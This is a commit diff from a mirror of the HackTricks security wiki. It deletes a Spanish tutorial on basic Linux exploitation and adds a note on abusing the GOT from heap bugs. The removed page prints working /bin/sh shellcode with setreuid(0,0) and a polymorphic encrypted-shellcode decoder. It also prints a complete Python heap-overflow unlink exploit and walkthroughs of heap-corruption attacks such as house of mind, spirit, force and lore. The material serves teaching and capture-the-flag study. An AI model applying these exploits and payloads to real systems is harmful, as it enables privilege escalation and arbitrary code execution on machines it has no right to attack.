mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
GITBOOK-4341: No subject
This commit is contained in:
parent
0eb22426a0
commit
84f54544b3
5 changed files with 188 additions and 524 deletions
|
@ -764,7 +764,6 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](binary-exploitation/linux-exploiting-basic-esp.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
|
@ -60,7 +60,7 @@ The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice
|
|||
|
||||
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
|
||||
|
||||
Find [**more information about this tachnique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
|
@ -68,6 +68,13 @@ Find [**more information about this tachnique here**](https://github.com/nobodyi
|
|||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Abusing GOT from Heap**
|
||||
|
||||
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
|
||||
Then, pointing `free` to `system` and freeing a chunk were was written `/bin/sh\x00` will execute a shell.
|
||||
|
||||
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
|
||||
|
||||
## **Protections**
|
||||
|
||||
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
|
||||
|
|
|
@ -1,521 +0,0 @@
|
|||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; Ejecutar syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
|
||||
**Comprobar que la shellcode funciona**
|
||||
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
void main(){
|
||||
void (*fp) (void);
|
||||
fp = (void *)shellcode;
|
||||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
|
||||
Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO**
|
||||
|
||||
A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código.
|
||||
|
||||
EJ **TRUCO (/bin/sh)**:
|
||||
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||||
xorl %eax, %eax ; eax = NULL
|
||||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||||
movl $0xb, %eax ; Syscall 11
|
||||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||||
xorl %ebx, %ebx ; ebx = NULL
|
||||
movl %ebx, %eax
|
||||
inc %eax ; Syscall 1
|
||||
int $0x80 ; exit(0)
|
||||
call -0x24 ; Salto a la primera instrución
|
||||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
|
||||
**EJ usando el Stack(/bin/sh):**
|
||||
|
||||
```
|
||||
section .text
|
||||
global _start
|
||||
_start:
|
||||
xor eax, eax ;Limpieza
|
||||
mov al, 0x46 ; Syscall 70
|
||||
xor ebx, ebx ; arg1 = 0
|
||||
xor ecx, ecx ; arg2 = 0
|
||||
int 0x80 ; setreuid(0,0)
|
||||
xor eax, eax ; eax = 0
|
||||
push eax ; “\0”
|
||||
push dword 0x68732f2f ; “//sh”
|
||||
push dword 0x6e69622f; “/bin”
|
||||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||||
push eax ; Null -> args[1]
|
||||
push ebx ; “/bin/sh\0” -> args[0]
|
||||
mov ecx, esp ; arg2 = args[]
|
||||
mov al, 0x0b ; Syscall 11
|
||||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
|
||||
**EJ FNSTENV:**
|
||||
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||||
…
|
||||
```
|
||||
|
||||
**Egg Huter:**
|
||||
|
||||
Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código.
|
||||
|
||||
**Shellcodes polimórficos**
|
||||
|
||||
Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**:
|
||||
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
jmp short magic
|
||||
init:
|
||||
pop esi
|
||||
xor ecx, ecx
|
||||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||||
desc:
|
||||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||||
sub cl, 1
|
||||
jnz desc
|
||||
jmp short sc
|
||||
magic:
|
||||
call init
|
||||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## **5.Métodos complementarios**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
###
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## **8 Heap Overflows: Exploits básicos**
|
||||
|
||||
**Trozo asignado**
|
||||
|
||||
prev\_size |\
|
||||
size | —Cabecera\
|
||||
\*mem | Datos
|
||||
|
||||
**Trozo libre**
|
||||
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | Ptr forward chunk\
|
||||
\*bk | Ptr back chunk —Cabecera\
|
||||
\*mem | Datos
|
||||
|
||||
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
|
||||
|
||||
En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
|
||||
|
||||
Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
|
||||
FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
|
||||
FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
|
||||
BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
|
||||
}
|
||||
|
||||
Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
Y así se se ejecuta al salir del programa la shellcode.
|
||||
|
||||
Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
|
||||
|
||||
Por lo tanto el exploit se crea:
|
||||
|
||||
En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
|
||||
|
||||
Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
|
||||
|
||||
Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() liberando en sentido inverso (wargame)**
|
||||
|
||||
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
|
||||
|
||||
En ese caso:
|
||||
|
||||
En el chunck c se pone el shellcode
|
||||
|
||||
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre.
|
||||
|
||||
Además, se sobreescribe en la cabecera b el size para que valga -4.
|
||||
|
||||
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
|
||||
|
||||
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
|
||||
|
||||
**Técnica de Frontlink**
|
||||
|
||||
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
|
||||
|
||||
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
|
||||
|
||||
Necesita:
|
||||
|
||||
Un buffer que pueda desbordarse con la función de entrada de datos
|
||||
|
||||
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
|
||||
|
||||
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
|
||||
|
||||
Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este
|
||||
|
||||
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
|
||||
|
||||
**Vulnerabilidad double free()**
|
||||
|
||||
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
|
||||
|
||||
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
|
||||
|
||||
**After free()**
|
||||
|
||||
Un puntero previamente liberado es usado de nuevo sin control.
|
||||
|
||||
## **8 Heap Overflows: Exploits avanzados**
|
||||
|
||||
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
|
||||
|
||||
**The house of mind**
|
||||
|
||||
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
|
||||
|
||||
Una llamada a free() provoca llamar a public\_fREe(mem), este hace:
|
||||
|
||||
mstate ar\_ptr;
|
||||
|
||||
mchunkptr p;
|
||||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
|
||||
|
||||
…
|
||||
|
||||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||||
|
||||
…
|
||||
|
||||
\_int\_free(ar\_ptr, mem);
|
||||
|
||||
}
|
||||
|
||||
En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info)
|
||||
|
||||
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr)
|
||||
|
||||
De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted\_chunks(av);\
|
||||
fwd = bck->fd;\
|
||||
p->bk = bck;\
|
||||
p->fd = fwd;\
|
||||
bck->fd = p;\
|
||||
fwd->bk = p;
|
||||
|
||||
..}
|
||||
|
||||
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
|
||||
|
||||
Tal y como se define unsorted\_chunks, sabemos que:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo.
|
||||
|
||||
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
|
||||
|
||||
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
|
||||
|
||||
En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA
|
||||
|
||||
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
|
||||
|
||||
De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode.
|
||||
|
||||
Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload.
|
||||
|
||||
Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
Es una variante de The house of mind
|
||||
|
||||
nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int\_free()
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> Siendo fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
…
|
||||
|
||||
p->fd = \*fb
|
||||
|
||||
\*fb = p
|
||||
|
||||
De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max\_fast esté en la dirección que vamos a sobreescribir.
|
||||
|
||||
Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
|
||||
|
||||
Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast
|
||||
|
||||
En este caso av->max\_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita).
|
||||
|
||||
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops).
|
||||
|
||||
Además, ese mismo trozo falso debe ser menor que av->system\_mem. av->system\_mem se encuentra 1848 bytes más allá.
|
||||
|
||||
Por culpa de los nulos de \_DTOR\_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila.
|
||||
|
||||
Otra forma de ataque es redirigir el **av** hacia la pila.
|
||||
|
||||
Si modificamos el size para que de 16 en vez de 8 entonces: fastbin\_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila.
|
||||
|
||||
Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET
|
||||
|
||||
Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0.
|
||||
|
||||
El **av->max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones.
|
||||
|
||||
En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode.
|
||||
|
||||
Además, en **av->system\_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
|
||||
|
||||
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable).
|
||||
|
||||
Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max\_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48.
|
||||
|
||||
Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system\_mem.
|
||||
|
||||
En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera.
|
||||
|
||||
Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
Es necesario:
|
||||
|
||||
* Un overflow a un trozo que permita sobreescribir el wilderness
|
||||
* Una llamada a malloc() con el tamaño definido por el usuario
|
||||
* Una llamada a malloc() cuyos datos puedan ser definidos por el usuario
|
||||
|
||||
Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap
|
||||
|
||||
Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8.
|
||||
|
||||
Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
remainder = chunck\_at\_offset(victim, nb);
|
||||
|
||||
av->top = remainder;
|
||||
|
||||
Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir.
|
||||
|
||||
Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**Corrupción SmallBin**
|
||||
|
||||
Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
|
||||
|
||||
Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast (72normalmente) y menos a MIN\_LARGE\_SIZE (512).
|
||||
|
||||
Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
|
||||
|
||||
bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
|
||||
|
||||
bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección
|
||||
|
||||
bck->fd = bin; Se cierra la lista haciendo que este apunte a bin
|
||||
|
||||
Se necesita:
|
||||
|
||||
Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow)
|
||||
|
||||
Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.
|
||||
|
||||
El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
|
||||
|
||||
Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.
|
||||
|
||||
Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.
|
||||
|
||||
Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.
|
||||
|
||||
Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
|
||||
|
||||
Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
|
||||
|
||||
**Corrupción LargeBin**
|
||||
|
||||
Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
|
||||
|
||||
El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
|
||||
|
||||
Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
|
||||
|
||||
Además se ha introducido un parche para hacerlo aún más complicado.
|
||||
|
||||
**Heap Spraying**
|
||||
|
||||
Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
|
||||
|
||||
**Heap Feng Shui**
|
||||
|
||||
Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
|
||||
|
||||
**objdump -d ejecutable** —> Disas functions\
|
||||
**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\
|
||||
**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\
|
||||
**objdump -d ./exec | grep funcCode**\
|
||||
**objdump -s -j .dtors /exec**\
|
||||
